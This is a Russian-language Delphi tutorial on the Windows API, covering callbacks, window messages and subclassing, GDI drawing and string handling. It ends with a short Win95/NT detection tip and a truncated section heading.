Как же работает EnumWindows? После вызова эта функция начинает по очереди перебирать все имеющиеся в данный момент окна верхнего уровня, то есть те, у которых нет родителя. Для каждого такого окна вызывается эта самая callback функция, в качестве первого параметра ей передаётся дескриптор данного окна (каждый раз, естественно, новый), в качестве второго - то, что было передано самой функции EnumWindows в качестве второго параметра (каждый раз одно и то же). Что же может делать callback функция с этим дескриптором? А всё, на что у про-граммиста хватит фантазии. Например, можно минимизировать или вообще закрыть все эти окна, хотя не понятно, с чего бы вдруг устраивать такую диверсию. Или можно проверять все эти окна на соответствие какому-то условию, пытаясь найти нужное. А значение, возвращаемое callback функцией, влияет на работу EnumWindows. Если она возвращает False, значит, всё, что нужно, уже сделано, можно не перебирать остальные окна.
Окончательный код для того случая, когда второй параметр имеет тип Pointer, выглядит так:
function MyCallbackFunction(Wnd:HWnd; P: Pointer):Bool; stdcall;
begin
{ что-то делаем }
end;
...
var
MyPointer: Pointer;
...
EnumWindows(@MyCallbackFunction, LongInt(MyPointer));
|
Что бы мы ни делали с типом второго параметра callback функции, тип соответствующего па-раметра EnumWindows не меняется. Поэтому необходимо явное приведение передаваемого па-раметра к типу LongInt. Обратное преобразование типов при вызове MyCallbackFunction осуще-ствляется автоматически.
В 16-разрядных версиях Windows вызов callback функций осложнялся тем, что для них необхо-димо было делать специальный код, называемый прологом. Пролог создавался с помощью функции MakeProcInstance, удалялся после завершения с помощью FreeProcInstance. То есть вызов EnumWindows должен был бы выглядеть так:
var MyProcInstnace: TFarProc; ... MyProcInstance := MakeProcInstance(@MyCallbackFunction, HInstance); EnumWindows(MyProcInstance, LongInt(MyPointer)); FreeProcInstance(MyProcInstance); |
В Delphi этот код будет работоспособным, так как для совместимости MyProcInstance и FreePro-cInstance оставлены. Но они ничего не делают (в чём легко убедиться, просмотрев ис-ходный файл Windows.pas), поэтому можно обойтись и без них. Другой способ, с помощью которого в 16-разрядных версиях можно сделать пролог - описать функцию с директивой export. Эта директива сохранена для совместимости и в Delphi, но в 32-разрядных версиях она также ничего не делает (несмотря на то, что справка, например, по Delphi 3.0 утверждает обрат-ное; в справке по Delphi 4.3 этой ошибки уже нет).
Сообщения Windows
Человеку, знакомому с Delphi, должна быть ясна схема событийного управления. Программист пишет только код реакции на какое-либо событие, а дальше программа ждёт, когда система сочтёт, что настало время передать управление этому участку кода. Простые программы в Del-phi состоят исключительно из методов реакции на события вроде OnCreate, OnClick, OnClose-Qerry и т. д. Причём событием называется не только событие в обычном смысле этого слова, то есть когда происходит что-то внешнее, но и ситуация, когда событие используется просто для передачи управления основной программе в тех случаях, когда VCL не может сама справиться с какой-то задачей. Примером такого события является, например, TListBox.OnDrawItem. Устанавливая стиль списка в lbOwnerDrawFixed или lbOwnerDrawVariable, программист как бы сообщает VCL, что он не доволен теми средствами рисования элементов списка, которыми она располагает, и что он берёт эту часть задачи на себя. И каждый раз, когда возникает необходимость в рисовании элемента, VCL передаёт управление специально написанному коду. На самом деле разница между двумя типами собы-тий весьма условна. Можно так же сказать, что когда пользователь нажимает клавишу, VCL не знает, что делать, и поэтому передаёт управление обработчику OnKeyPress.
Событийное управление не есть изобретение авторов Delphi. Такой подход исповедует сама система Windows. Только здесь события называются сообщениями (message), что, на мой взгляд, даже лучше отражает ситуацию. Windows посылает программе сообщения, связанные либо с тем, что произошло что-то внешнее (мышь, клавиатура...), либо с тем, что самой сис-теме потребовались от программы какие-то действия. Самым распространённым таким дейст-вием является предоставление информации. Например, когда Windows хочет узнать заголовок окна, она посылает этому окну специальное сообщение, в ответ на которое окно должно сооб-щить системе свой заголовок. Ещё бывают сообщения, которые просто уведомляют программу о начале какого-то действия (например, о начале перетаскивания окна) и предоставляют возможность вмешаться. Но это вмешательство необязательно.
В Delphi для реакции на каждое событие обычно создаётся свой метод. В Windows одна проце-дура, называемая оконной, обрабатывает все сообщения. В языке Си нет понятия , поэтому при использовании Паскаля может возникнуть путаница. Дело в том, что то, что называется оконной процедурой, на самом деле является функцией. Тем не менее, я буду использовать общепринятый термин . Каждое сообщение имеет свой уни-кальный номер, а оконная процедура обычно целиком состоит из оператора case, и каждому сообщению соответствует своя альтернатива этого оператора. Номера сообщений учить не надо, потому что можно использовать константы, описанные в модуле Messages.dcu. Эти кон-станты начинаются с префикса, указывающего на принадлежность сообщения к какой-то группе. Например, сообщения общего назначения начинаются с WM_: например, WM_Paint, WM_GetTextLength. Сообщения, специфичные, например, для кнопок, начинаются с префикса BM_. Остальные группы сообщений также связаны либо с теми или иными элементами управления, либо со специальными действиями, например, с динамическим обменом данными (dy-namic data exchange, DDE). Обычной программе приходится обрабатывать довольно много сообщений, поэтому оконная процедура бывает, как правило, очень длинной и громоздкой. Оконная процедура описывается программистом как callback функция и указывается при созда-нии оконного класса. Таким образом все окна данного класса имеют одну и ту же оконную процедуру. Впрочем, существует возможность породить так называемый подкласс, то есть новый класс, наследующий все свойства существующего, за исключением оконной процедуры. Несколько подробнее об этом будет сказано далее.
Кроме номера, каждое сообщение содержит два параметра - WParam и LParam. Буквы и означают и , то есть первый параметр 16-разрядный, а второй - 32-разряд-ный. Однако так было только в старых, 16-разрядных версиях Windows. В 32-разрядных вер-сиях оба параметра 32-разрядные, несмотря на их названия. Конкретный смысл каждого пара-метра зависит от сообщения. В некоторых сообщениях один или оба параметра могут вообще не использоваться, в других - наоборот, двух параметров даже не хватает. В этом случае один из параметров (обычно LParam) содержит указатель на дополнительные данные. После обра-ботки сообщения оконная процедура должна вернуть какое-то значение. Обычно это значение просто сигнализирует, что сообщение не нуж-дается в дополнительной обработке, но в некоторых случаях оно более осмысленно, например, WM_SetIcon должно вернуть дескриптор иконки, которая была установлена ранее. Если про-граммист не хочет обрабатывать сообщение самостоятельно, он должен вызвать для его обра-ботки функцию DefWindowProc.
Обработка сообщения требует времени, иногда довольно значительного. За это время окну может быть отправлено ещё несколько сообщений. Чтобы они не пропали, Windows организует так называемую очередь сообщений. Очередь сообщений своя для каждой нити. Нить должна сама выбирать сообщения из этой очереди, транслировать их и затем вызывать функцию Dispatch-Message, чтобы направить это сообщение в нужную оконную процедуру. Всё это лучше не писать самому, а оставить на совести VCL, которая прекрасно с этим справляется. При программировании в Delphi обычно требуется либо нестандартная реакция на сообщение, либо отправка сообщения другому окну.
Отправка сообщения другому окну может осуществляться достаточно разнообразными способами. Можно послать сообщение в очередь, а можно заставить Windows вызвать оконную про-цедуру напрямую, в обход очереди. Можно установить максимальное время ожидания отклика от окна, которому послано сообщение. Все эти функции хорошо описаны в справке (см., на-пример, функцию SendMessage и группу родственных функций).
Кроме параметров WParam и LParam, каждому сообщению приписывается время возникновения и координаты курсора в момент возникновения. Эти параметры можно узнать с помощью функций GetMessagePos и GetMessageTime.
Разумеется, что Delphi предоставляет программисту все средства, необходимые для обработки сообщений. Самый простой способ - описать метод для обработки сообщения с директивой message. Это выглядит примерно так.
type TSomeForm = class(TForm) ... procedure WMSomeMessage(var message: TMessage); message WM_SomeMessage; ... procedure TSomeForm.WMSomeMessage; begin ... inherited end; |
Стандартная оконная процедура в Delphi устроена так, что она ищет среди методов класса специальные методы для обработки каждого сообщения. Эти методы во многом подобны обыкновенным виртуальным методам. Другими словами, если переопределить такой метод, будет вы-зван именно новый, а не старый вариант. Вообще говоря, в классе-родителе метода для обра-ботки какого-то конкретного сообщения может и не существовать. Это, однако, никак не ска-зывается на синтаксисе (в отличие от обычных виртуальных методов, где приходится писать директиву virtual для вновь созданных и override для перекрытых). Кроме того, при перекрытии методов обработки сообщений не важно имя метода, значение имеет только константа, стоящая после message. Именно поэтому при вызове перекрытого метода для обработки данного сообщения достаточно просто написать inherited, без указания имени метода. Такой способ вызова не приведёт к ошибке даже в том случае, если класс-родитель вообще не имел метода для обработки такого сообщения.
Тип TMessage сделан специально для обработки сообщений. Это запись, содержащая 32-раз-рядные целые поля Msg, WParam, LParam и Result. Первое поле содержит номер сообщения, два следующих - параметры сообщения, а полю Result метод должен присвоить то значение, кото-рое потом вернёт системе оконная процедура. Именно из-за необходимости передавать значе-ние параметр метода обработки сообщения должен быть переменной. При обработке сообще-ний часто приходится сталкиваться с ситуациями, когда один 32-разрядный параметр используется для передачи двух 16-разрядных значений. Чтобы облегчить программисту работу в таких случаях, тип TMessage описан как вариантная запись, поэтому в нём есть поля WParamLo, WParamHi, LParamLo, LParamHi, ResultLo и ResultHi, имеющие тип Word и дающие доступ к старшему и младшему словам соответствующего параметра.
Так как параметры WParam и LParam могут иметь совершенно различный смысл для разных сообщений, не всегда удобно представлять их в виде чисел. Иногда предпочтительнее, чтобы они имели тип Pointer, или LongBool, или ещё какой-либо. Поэтому тип TMessage - не единственный тип, который может иметь параметр метода обработки сообщения. Для многих сооб-щений в модуле Messages.dcu описаны собственные типы. Их названия образованы от названия соответствующих сообщений. Например, для сообщения WM_Paint описан тип TWMPaint, для WM_GetText - TWMGetText, и так далее. В этих типах все поля имеют тот тип, который наи-лучшим образом подходит для обработки именно этого сообщения. Кроме того, поля имеют названия, отражающие их назначения, что делает программу более удобной для чтения. Но такие типы описаны не для всех сообщений, поэтому иногда приходится пользоваться универ-сальным TMessage. Кстати, если по каким-то причинам в методе обработки сообщения потре-буется использовать не тот тип, который используется в соответствующем методе класса-роди-теля, никаких проблем не возникнет: в данном случае приведение типов выполняется автома-тически. Узнать, есть ли специальный тип для данного сообщения, можно двумя способами: либо поискать этот тип в Messages.pas, либо просто проверить, его компилятор или нет.
Сообщения, определяемые пользователем
Использование сообщений очень удобно в тех случаях, когда нужно заставить окно выполнить какое-то действие. Поэтому Windows предоставляет возможность программисту создавать свои сообщения, которые могут быть локальными или глобальными. Использование локальных со-общений связано с некоторым риском. Дело в том, что эти сообщения должны посылаться только окнам, то есть тем, оконные процедуры которых написаны так, чтобы пра-вильно интерпретировать это сообщение. Если послать такое сообщение окну, его реакция может быть непредсказуемой, потому что человек, писавший его оконную процедуру, мог использовать сообщение с этим же номером для своих целей. Всё это вовсе не значит, что обмен локальными сообщениями возможен только внутри одной программы: если разные про-граммы написаны так, что они правильно понимают одно и то же локальное сообщение, они могут без каких-либо ограничений обмениваться им. Немного повторюсь: важно только чтобы отправитель и получатель сообщения одинаково понимали его. В справочной системе специально указывается, что недопустимо отправлять такие сообщения окнам классов 'BUTTON', 'EDIT', 'LISTBOX' и 'COMBOBOX'.
В Windows (и, соответственно, в модуле Messages.dcu) определена специальная константа WM_User, равная $400 (1024). Впрочем, нет гарантии, что в следующих версиях Windows зна-чение этой константы не изменится. Номера стандартных сообщений лежат в диапазоне от 0 до WM_User-1. Для локальных пользовательских сообщений оставлен диапазон от WM_User до $7FFF (32767). Забегая чуть вперёд, скажу, что для глобальных пользовательских сообщений оставлен диапазон от $C000 до $FFFF (от 49152 до 65535).
Глобальные пользовательские сообщения, называемые также строковыми, предназначены специально для тех случаев, когда локальные сообщения оказываются слишком ненадёжными. Например, может потребоваться написать несколько программ, которые взаимодействуют ме-жду собой. Поиск окон, принадлежащих этим программам, можно осуществлять, посылая всем окнам какое-либо специальное сообщение. Те, которые правильно откликнулись - . Так как сообщения посылаются всем окнам, тоже будут его получать. Нужна гарантия, что они никак не отреагируют на такое сообщение. Для этого существует регистрация сообщений, обеспечивающая уникальный номер каждому, кто в нём нуждается.
Прежде чем зарегистрировать сообщение, необходимо придумать ему имя (именно поэтому они называются строковыми). Если давать своим сообщениям осмысленные имена, а не что-то вроде WM_MyMessage1, слишком мала вероятность случайного совпадения. Далее это сообще-ние регистрируется функцией RegisterWindowMessage, которая возвращает уникальный номер этого сообщения. Если сообщение с таким именем регистрируется впервые, номер выбирается из числа ещё не занятых. Если же сообщение с таким именем уже было зарегистрировано, то возвращается тот же самый номер, который был присвоен ему при первой регистрации. Таким образом разные программы, регистрирующие сообщения с одинаковыми именами, получат одинаковые номера и смогут понимать друг друга. Для прочих же окон это сообщение не будет иметь никакого смысла.
Неудобство использования таких сообщений очевидно - их номера определяются только после начала выполнения программы, при компиляции они ещё неизвестны. Поэтому обработка та-ких сообщений описанным ранее методом невозможна - мы не знаем, какой номер писать по-сле слова message. Здесь может помочь виртуальный метод WndProc, имеющийся в классе TControl (и в TForm как в его потомке). Этот метод получает все сообщения, поступающие окну. Если перекрыть этот метод, то ничего не мешает сравнивать внутри него номер пришед-шего и определённого пользователем сообщения. Например, так:
var
WM_MyUserDemoMessage: Cardinal;
...
procedure TForm1.FormCreate(Sender: TObject);
begin
WM_MyUserDemoMessage := RegisterWndowMessage('WM_MyUserDemoMessage')
end;
...
procedure TForm1.WndProc(var message: TMessage);
begin
if message.Msg = WM_MyUserDemoMessage then
begin
...
end
else
inherited WndProc(message)
end;
|
Метод WndProc , чем методы с директивой message. Он раньше получает сообщения, и он же содержит код, который при необходимости ищет и затем вызывает для каждого сообщения соответствующий метод обработки сообщения. И он же вызывает функцию Win API DefWndProc для стандартной реакции на сообщение. Если при перекрытии не вызывать унасле-дованный метод, то придётся самостоятельно реализовывать эти действия или же подумать, как обойтись без них.
Диапазон номеров сообщений от $8000 (32768) до $BFFF (49151) пока ничем не занят, но зарезервирован Windows для использования в будущем. Авторы Delphi поступили не совсем кор-ректно, использовав верхнюю часть этого диапазона (с адреса $B000 (45046)) для своих собственных сообщений. Именованные константы для этих сообщений находятся в модуле Controls.dcu и начинаются с префикса CM_. Эти сообщения обычно бесполезны для автора готовых программ, но бывают крайне необходимы при написании своих компонентов. Эти сообщения, к сожалению, никак не упомянуты в справке Delphi, поэтому разбираться с ними приходится по исходным файлам VCL.
Особые сообщения
Отправка и обработка некоторых сообщений производится не по общим правилам, а с некоторыми исключениями. Приведённый ниже список таких сообщений не претендует на полноту, но всё-таки может оказаться полезным для начинающего.
Сообщение WM_CopyData используется для передачи блока данных от одного процесса к дру-гому. В 32-разрядных версиях Windows память, выделенная процессу, недоступна для всех ос-тальных процессов. Поэтому просто передать указатель другому процессу нельзя - он не смо-жет получить доступ к этой области памяти. Для сообщения WM_CopyData приходится делать исключение: блок данных временно становится доступным другому процессу. Это требует оп-ределённой синхронности действий от двух процессов, поэтому для отправки этого сообщения можно использовать только SendMessage, прямо вызывающую оконную процедуру. PostMessage использовать нельзя.
Сообщение WM_Paint предназначено для перерисовки клиентской области окна. Если изобра-жение сложное, перерисовка занимает много времени. Чтобы улучшить быстродействие сис-темы, авторы Windows сделали так, что сообщение WM_Paint пропускает все остальные сооб-щения в очереди, и передаётся окну только тогда, когда в очереди не остаётся никаких других сообщений. Если в очереди оказываются несколько сообщений WM_Paint, они объединяются в одно. Просто так послать сообщение WM_Paint невозможно. Для этого надо сначала объявить, что окно или его часть нуждаются в перерисовке (InvalidateRect, InvalidateRgn).
При обработке сообщений от клавиатуры можно использовать функцию GetKeyState, которая возвращает состояние любой клавиши (нажата-отпущена) в момент возникновения данного события. Именно в момент возникновения, а не в момент вызова функции.
Компоненты, влияющие на обработку событий
Так как стандартные средства Delphi не позволяют использовать все инструменты Win API для работы с окнами, иногда приходится писать компоненты, модифицирующие форму. Мне, на-пример, приходилось писать компоненты, при помещении которых на форму она становится непрямоугольной или полупрозрачной. Очень часто таким компонентам приходится обрабаты-вать те сообщения, которые предназначены форме-хозяину. Delphi даёт возможность компо-ненту перехватить сообщения, хотя, на мой взгляд, механизм перехвата оставляет желать луч-шего, потому что он не допускает возможности взаимодействия нескольких перехватчиков.
Вместо общего описания алгоритма перехвата я далее просто приведу один из способов сделать это. Способ этот не единственный верный, многие детали можно модифицировать для нужд конкретной задачи, однако основная идея (и основные недостатки) никуда не денутся. Далее я буду предполагать, что компонент перехватывает сообщения владельца (Owner). Что нужно изменить, чтобы он начал перехватывать сообщения родителя (Parent), я скажу чуть позже.
Прежде всего, владелец должен быть окном, поэтому в конструкторе компонента надо прове-рить класс владельца. Это очень полезно ещё и потому, что тогда в остальных методах объекта можно обойтись без такой проверки, что делает код более эффективным. Чтобы предотвратить создание компонента, достаточно в его конструкторе возбудить какое-либо исключение.
Метод компонента не может быть оконной процедурой, потому что методу всегда неявно пере-даётся параметр Self. Поэтому нужна генерация специального кода входа и выхода для того, чтобы вызывать метод вместо оконной процедуры. Этот код генерируется с помощью специальной функции Delphi, которая создаёт в памяти нужный код и возвращает на него ука-затель. Поэтому компонент должен иметь указатель на этот код (я условно назову этот указа-тель NewWndProc). Сам метод, обрабатывающий события (условно - HookWndProc) должен иметь один параметр-переменную типа TMessage, и может быть как статическим, тик и вирту-альным или динамическим. Кроме того, нужен указатель на старую процедуру, которая была до установки компонента (OldWndProc). Далее, компонент должен содержать два метода для пере-хвата и освобождения, которые выглядят так:
procedure TMyComponent.HookOwner;
begin
if Assigned(Owner) then
begin
OldWndProc := Pointer(GetWindowLong(TForm(Owner).Handle, GWL_WndProc));
NewWndProc := MakeObjectInstance(HookWndProc);
SetWindowLong(TForm(Owner).Handle, GWL_WndProc, LongInt(NewWndProc))
end
end;
procedure TMyComponent.UnhookOwner;
begin
if Assigned(Owner) and Assigned(OldWndProc) then
SetWindowLong(TForm(Owner).Handle, GWL_WndProc, LongInt(OldWndProc));
if Assigned(NewWndProc) then
FreeObjectInstance(NewWndProc);
NewWndProc := nil;
OldWndProc := nil
end;
|
Функции Win API GetWindowLong и SetWindowLong предназначены для получения и изменения 32-разрядного значения, связанного с данным окном. В данном случае мы с их помощью рабо-таем с 32-разрядным параметром - адресом оконной процедуры. Изменение адреса оконной процедуры с помощью SetWindowLong и есть то самое порождение оконного подкласса, о ко-тором я писал ранее. Функция MakeObjectInstance - это та самая функция, которая превращает метод в оконную процедуру. FreeObjectInstance освобождает память, выделенную для создания кода входа и выхода функцией MakeObjectInstance.
Было бы глупо перехватывать сообщения и при этом не иметь возможности вызвать ту окон-ную процедуру, которая была до перехвата. Если необходимо вызвать её для обработки сооб-щения Msg с параметрами WParam и LParam, нужно воспользоваться следующим кодом:
CallWindowProc(OldWndProc, TForm(Owner).Handle, Msg, WParam, LParam); |
Результатом работы этой функции будет число, возвращаемое оконной процедурой.
Вызов процедуры HookOwner я обычно помещаю в самый конец конструктора компонента, Un-hookOwner - в самое начало деструктора. Но в некоторых ситуациях VCL Delphi уничтожает окно и вновь создаёт его с новыми свойствами. Это происходит очень быстро, пользователь ничего не замечает. (Такое формы может потребоваться при изменении во время выполнения свойств FormStyle, BorderStyle и BorderIcons.) Однако VCL ничего не знает о перехвате и поэтому не может корректно удалить его, а уж о восстановлении его потом и речи быть не может. Чтобы избежать такой ситуации, необходимо обрабатывать сообщение CM_RecreateWnd: перед вызовом унаследованного метода для обработки этого события компо-нент должен снять перехват, после - восстановить его.
Если форма содержит несколько компонентов, перехватывающих сообщения, могут возникнуть конфликты. Снятие и восстановление перехвата через обработку сообщения CM_RecreateWnd безопасно в этом смысле, потому что компоненты обрабатывают это сообщение в порядке, об-ратном порядку создания. Но если приходится удалять компонент-перехватчик, он не исклю-чает себя из цепочки перехватчиков, а просто обрывает её, и все перехватчики, созданные после него, оказываются не у дел. Именно это я и считаю главным недостатком механизма перехвата.
Если есть необходимость перехватывать сообщения не владельца, а родителя, нужно сделать всё то же самое с точностью до замены Owner на Parent. Но владельца компонент в принципе не может поменять, а вот родителя - вполне. Поэтому нужно ещё перекрыть виртуальный метод SetParent, в котором снимается перехватчик со старого родителя, затем вызывается унаследо-ванный SetParent, затем уже ставится обработчик на нового родителя.
Графические функции Win API
Та часть Win API, которая служит для работы с графикой, обычно называется GDI (Graphic De-vice Interface). Ключевым в GDI является понятие контекста устройства (Device Context, DC). Кон-текст устройства - это специфический объект, хранящий информацию о возможностях устрой-ства, о способе работы с ним и о разрешённой для изменения области. В Delphi контекст уст-ройства представлен классом TCanvas, свойство Handle которого содержит дескриптор контек-ста устройства. TCanvas универсален в том смысле, что с его помощью рисование в окне, на принтере или в метафайле выглядит одинаково. То же самое справедливо и для контекста уст-ройства. Разница заключается только в том, как получить в разных случаях дескриптор контек-ста.
Большинство методов класса TCanvas являются с соответствующих и, в большинстве случаев, одноимённых функций GDI. Но в некоторых случаях (прежде всего в методах вы-вода текста и рисования многоугольников) параметры методов TCanvas имеют более удобный тип, чем функции GDI. Например, метод TCanvas.Polygon требует в качестве параметра от-крытый массив элементов типа TPoint, а соответствующая функция GDI - указатель на та-кой массив и число элементов в нём. Это означает, что для массива до вызова функции надо выделить память, а потом - освободить её. Ещё нужен код, который заполнит эту область па-мяти нужными значениями. И ни в коем случае нельзя ошибаться в количестве элементов мас-сива. Если зарезервировать память для одного числа точек, а при вызове функции указать дру-гое, программа будет работать неправильно. Но для простых функций работа через GDI ничуть не сложнее, чем через TCanvas.
Для получения дескриптора контекста устройства существует много функций. Только для того, чтобы получить дескриптор контекста обычного окна, существуют три функции: BeginPaint, GetDC, GetWindowDC и GetDCEx. Первая из них может использоваться только при обработке сообщения WM_Paint. Вторая даёт контекст клиентской области окна. Третья позволяет полу-чить контекст всего окна, вместе с неклиентской частью. Последняя же позволяет получить контекст определённой области клиентской части окна.
После того, как дескриптор контекста получен, можно воспользоваться преимуществами класса TCanvas. Для этого надо создать экземпляр такого класса, и присвоить его свойству Handle по-лученный дескриптор. Освобождение ресурсов нужно проводить в следующем порядке: сначала свойству Handle присваивается нулевое значение, затем уничтожается экземпляр класса TCanvas, затем с помощью подходящей функции GDI освободить контекст устройства.
Разумеется, можно вызывать функции GDI при работе через TCanvas. Для этого им просто надо передать в качестве дескриптора контекста Canvas.Handle. Коротко пере-числю те возможности GDI, которые разработчики Delphi почему-то не сочли нужным включать в TCanvas: установка прозрачного фона у текста без изменения кисти; рисование кри-вых Безье; работа с регионами; выравнивание текста по любому углу или по центру; установка собственной координатной системы; получение детальной информации об устройстве; исполь-зование геометрических карандашей; вывод текста под углом к горизонтали.
Использование кистей, карандашей и шрифтов в GDI принципиально отличается от того, что привычно в Delphi. Класс TCanvas имеет свойства Brush, Pen и Font, изменение атрибутов которых приводит к выбору того или иного карандаша, шрифта, кисти. В GDI эти объекты самостоятельны, должны создаваться, получать свой дескриптор, в нужный кон-текст устройства с помощью функции SelectObject и уничтожаться после использования. При-чём удалять можно только те объекты, которые не выбраны ни в одном контексте. Есть также несколько стандартных объектов, которые не надо ни создавать, ни удалять. Их дескрипторы можно получить с помощью функции GetStockObject. Чтобы продемонстрировать это, приведу фрагмент программы, рисующей на контексте с дескриптором DC две линии - синюю и крас-ную. В этом фрагменте используется то, что функция SelectObject возвращает дескриптор объ-екта, родственного выбираемому, который был выбран ранее. Так, при выборе нового карандаша она вернёт дескриптор того карандаша, который был выбран до этого.
SelectObject(DC, CreatePen(PS_Solid, 1, RGB(255, 0, 0))); MoveToEx(DC, 100, 100, nil); LineTo(DC, 200, 200); DeleteObject(SelectObject(DC, CreatePen(PS_Solid, 1, RGB(0, 0, 255)))); MoveToEx(DC, 200, 100, nil); LineTo(DC, 100, 200); DeleteObject(SelectObject(DC, GetStockObject(Black_Pen))); |
Особым образом следует работать через GDI с растровыми изображениями. Эта тема на-столько сложна, что в таком кратком обзоре не стоит и начинать её. Скажу только, что при ис-пользовании 24-битных изображений лучше не комбинировать Delphi и GDI. Если передать TBitmap.Handle какой-нибудь функции GDII, у этой картинки иногда портятся последние несколько байт. Так как строки в растровом изображении располагаются снизу вверх, то это приводит к порче правого верхнего угла рисунка. Такой глюк я наблюдал в Delphi 3.0, про ос-тальные версии Delphi ничего сказать не могу.
При переходе на 32-разрядную версию Windows многие функции были исключены из GDI и заменены новыми. Список устаревших функций и соответствующих им новых можно найти в справке в разделе 'Graphics Functions'.
Ещё одно отличие от 16-разрядных версий заключается в том, что ранее дескрипторы графических объектов были глобальными, то есть объект, созданный одной программой, можно было использовать в другой, если эти программы могли передавать друг другу дескрипторы. В 32-разрядных версиях дескрипторы объектов, созданные одним процессом, не имеют смысла для другого.
Существует одна проблема при работе с метафайлами в Windows 95 (возможно, эта же проблема есть в Windows 98 и NT, но я не проверял). Метафайл создаётся с помощью функции Cre-ateEnhMetaFile. Она возвращает дескриптор контекста метафайла, который можно использовать для рисования. Затем вызывается CloseEnhMetaFile, закрывающая метафайл для рисования, освобождающая контекст устройства и возвращающая дескриптор метафайла. После использования метафайл удаляется функцией DeleteEnhMetaFile, которая освобождает память, связанную с метафайлом, и его дескриптор. Одна из функций, освобождающих дескрипторы, работает неправильно, и дескриптор не освобождается. Если программе часто приходится создавать и уничтожать метафайлы, это быстро приводит к тому, что все дескрипторы оказываются заняты, и система перестаёт работать корректно. Бороться с этим, пользуясь классами TMetafile и TMetafileCanvas, нельзя, потому что они работают через эти же функции.
Работа со строками в Win API
Функции Win API не поддерживают тип string, принятый в Delphi. Они работают со строками, оканчивающимися на #0 (нуль-терминированные строки, null-terminated strings). Это означает, что строкой называется указатель на цепочку символов. Признаком конца такой цепочки явля-ется символ #0. Раньше для таких строк использовали термин ASCIIZ. ASCII - обозначение кодировки, Z - zero. Сейчас кодировка ASCII заменена на ANSI, поэтому этот термин больше не применяется, хотя это те же самые по своей сути строки. Обычно программисту приходится работать с кодировкой ANSI, но это не единственная кодировка, поддерживаемая Windows.
В Delphi определён тип PChar, содержащий указатель на такую строку. Если один из параметров функции Win API имеет такой тип, то можно либо передать ему строковую константу, заклю-чённую в одинарные кавычки, как если бы это был тип string, либо выражение PChar(S), где S - параметр типа string, возможно, сложное выражение. Ещё один способ - воспользоваться функ-циями модуля SysUtils.dcu для работы с нуль-терминированными строками и самостоятельно сформировать строку типа PChar. При этом надо будет самостоятельно выделять и освобождать память для цепочки символов, что обычно приводит только к лишним проблемам. Обычно го-раздо проще работать с типом string, и лишь при вызове соответствующей функции преобразо-вать его к типу PChar. Для любителей оптимизации кода замечу, что такое преобразование не расходует ни память, ни процессорное время, потому что тип string - сам по себе указатель, он указывает именно на строку, завершающуюся нулём, а дополнительная информация, специфическая для типа string, имеет отрицательное смещение относительно этого указателя. Поэтому выражение PChar(S) не приводит к генерации кода, а лишь разрешает компилятору использовать этот указатель в качестве PChar.
Получить строку от функции Win API несколько сложнее, чем передать её. Обычно это делается в несколько этапов. Сначала с помощью функций Win API выясняется, какова длина строки. Затем резервируется место для неё. А только затем вызывается та функция, которая копирует строку в приготовленный буфер. Например, для получения заголовка окна нужно использовать функции GetWindowTextLength и GetWindowText. В некоторых случаях можно облегчить себе жизнь, если существует ограничение на максимальную длину строки. Например, атом не может быть длиннее 255-ти символов. Поэтому можно выделить буфер размером 256 символов (один - для завершающего нуля), и сразу копировать туда атом. В любом случае полученная строка будет нуль-терминированной. Чтобы преобразовать её к обычной, используйте функцию StrPas. Или же можно просто выполнить присвоение S := P, где S - типа string, P - PChar.
Другой тип кодировки, поддерживаемый в Windows, называется Wide. В отличие от ANSI в нём для представления одного символа используется не один, а два байта. Все функции, работающие со строками, написаны в двух модификациях - для ANSI и для Wide. Например, если посмотреть модуль user32, в котором, как утверждает справка, описана функция GetWindowText, то видно, что там нет такой функции. Там есть две другие функции - GetWindowTextA и GetWindowTextW, работающие каждая с соответствующей кодировкой. И это относится ко всем функциям, работающим со строками. К тому имени функции, которое указано в справке, необходимо добавить 'A' или 'W', в зависимости от используемой кодировки.
Разработчики Delphi при написании Windows.pas использовали маленькую хитрость, помогающую начинающему программисту не запутаться. Вот, например, цитата из этого модуля:
function GetWindowTextA(hWnd: HWND; lpString: PAnsiChar;
nMaxCount: Integer): Integer; stdcall;
function GetWindowTextW(hWnd: HWND; lpString: PWideChar;
nMaxCount: Integer): Integer; stdcall;
function GetWindowText(hWnd: HWND; lpString: PChar;
nMaxCount: Integer): Integer; stdcall;
{ Это написано в интерфейсной части модуля }
...
function GetWindowTextA; external user32 name 'GetWindowTextA';
function GetWindowTextW; external user32 name 'GetWindowTextW';
function GetWindowText; external user32 name 'GetWindowTextA';
{ А это - в разделе реализации }
|
Видно, что функция GetWindowTextA импортируется дважды - один раз под своим настоящим именем, а второй раз - под именем GetWindowText (это и есть тот случай, когда имя функции в библиотеке и то имя, под которым она становится известна компилятору, не совпадают). Поэтому программисту в Delphi нет разницы, писать или , потому что единственное различие у них - тип параметра lpString. Но из исходного текста всё того же модуля видно, что это на самом деле один и тот же тип. По такой же схеме импортируются и все остальные строковые функции Win API.
Заключение
Функции Win API - не такая уж сложная штука. Они часто используют идеологию, не похожую ни на какую другую, но и с этим легко разобраться. Проблема только в том, где и как получить по ним информацию. Будем откровенны: в нашей стране далеко не все, мягко говоря, используют честно купленные программные продукты. Лицензионный Windows сейчас не в диковинку только потому, что его часто устанавливают на новые компьютеры. Лицензионный Delphi приобретают некоторые фирмы. Но много ли людей в России может похвастаться, что они видели документацию по Win API фирмы Microsoft? А эту документацию на русском языке? А ведь авторы западных книг по программированию обычно предполагают, что читателю есть куда заглянуть для справки по этим функциям, и поэтому особенно их не разбирают. Так что нашему программисту доступны следующие пути: по крупицам вытаскивать информацию из тех книг, где Win API упоминается; читать Win32 Develpoer's References; изучать исходные файлы RTL и VCL Delphi; искать информацию в интернете (могу посоветовать сайт http://delphi.vitpc.com). Всё. Если человек не готов часами и даже днями искать информацию о нужной функции, лучше ему не становиться программистом. Главная цель этой статьи - облегчить начало этого поиска. Но дальше человек должен идти сам.
Win95 или WinNT для Delphi1.
| Автор: Peter Below |
| Билл Гейтс получил Нобелевскую премию за то, что первый научился продавать гемморой за деньги. На следующий год Линус Торвальдс так же получил Нобелевскую премию за то, был первым, у которого бесплатно забирали гемморой. |
Я не могу понять каким образом моя 16-битная программа может различить Win95 и WinNT.
Const WF_WINNT = $4000; IsNT := (GetWinFlags and WF_WINNT) <> 0; |
Для чего нужен WinAPI.
Оформил: DeeCo
Иногда требуется работать с объектами WINDOWS не используя VCL. Где это может пригодиться?
Например:
